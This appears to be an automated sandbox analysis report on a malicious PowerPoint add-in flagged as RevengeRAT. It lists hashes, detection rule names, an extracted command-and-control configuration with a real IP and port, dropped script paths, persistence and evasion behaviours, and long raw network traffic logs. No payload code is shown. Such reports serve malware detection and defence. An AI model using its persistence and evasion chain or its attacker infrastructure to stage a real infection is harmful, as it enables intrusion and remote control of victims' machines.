Windows Analysis Report
Documentosrs.ppam

Overview

General Information

Sample name: Documentosrs.ppam
Analysis ID: 1530596
MD5: 640ac4d0699d074c8a7e9a08ee88773e
SHA1: d11670a056e4014f9b7a14719a5d3fd81405c029
SHA256: faae26cbd0ceae86240be0129ce6a9e18236a6db8c321ce37e06966392e78b64
Tags: ppamuser-abuse_ch
Infos:

Detection

RevengeRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Document exploit detected (creates forbidden files)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Sigma detected: Set autostart key via New-ItemProperty Cmdlet
Suricata IDS alerts for network traffic
Yara detected RevengeRAT
Bypasses PowerShell execution policy
Creates autostart registry keys with suspicious values (likely registry only malware)
Document exploit detected (process start blacklist hit)
Drops script or batch files to the startup folder
Found RAT behaviour (information extraction to be send to C&C)
Machine Learning detection for sample
Microsoft Office drops suspicious files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Found malware configuration
Source: 39.2.powershell.exe.28131d0.0.raw.unpack Malware Configuration Extractor: RevengeRAT {"Host": "54.146.241.16", "Port": "5222", "ID": "NyanCatRevenge", "Mutex": "f9796de67e", "Key": "Revenge-RAT"}
Multi AV Scanner detection for submitted file
Source: Documentosrs.ppam ReversingLabs: Detection: 26%
Source: Documentosrs.ppam Virustotal: Detection: 19% Perma Link
Yara detected RevengeRAT
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001C.00000002.436983924.000000000291F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418672455.000000000292D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.000000000261D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.0000000002A23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.00000000026FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3864, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3952, type: MEMORYSTR
Machine Learning detection for sample
Source: Documentosrs.ppam Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 204.155.149.130:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: Binary string: E:\N A P O L E O N\My Projects\Revenge-RAT\Revenge-RAT v.0.3\Revenge-RAT v.0.3\Plugins\UNI\UNI\obj\Debug\UNI.pdb@ source: powershell.exe, 0000000E.00000002.432730170.0000000002866000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.434619199.000000001A670000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002844000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: E:\N A P O L E O N\My Projects\Revenge-RAT\Revenge-RAT v.0.3\Revenge-RAT v.0.3\Plugins\UNI\UNI\obj\Debug\UNI.pdb source: powershell.exe, 0000000E.00000002.432730170.0000000002856000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002866000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.434619199.000000001A670000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002844000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\ Jump to behavior

Software Vulnerabilities
barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\AppData\Roaming\RG.js Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process created: C:\Windows\System32\wscript.exe
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: dc708.4sync.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 204.155.149.130:443
Source: global traffic TCP traffic: 204.155.149.130:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
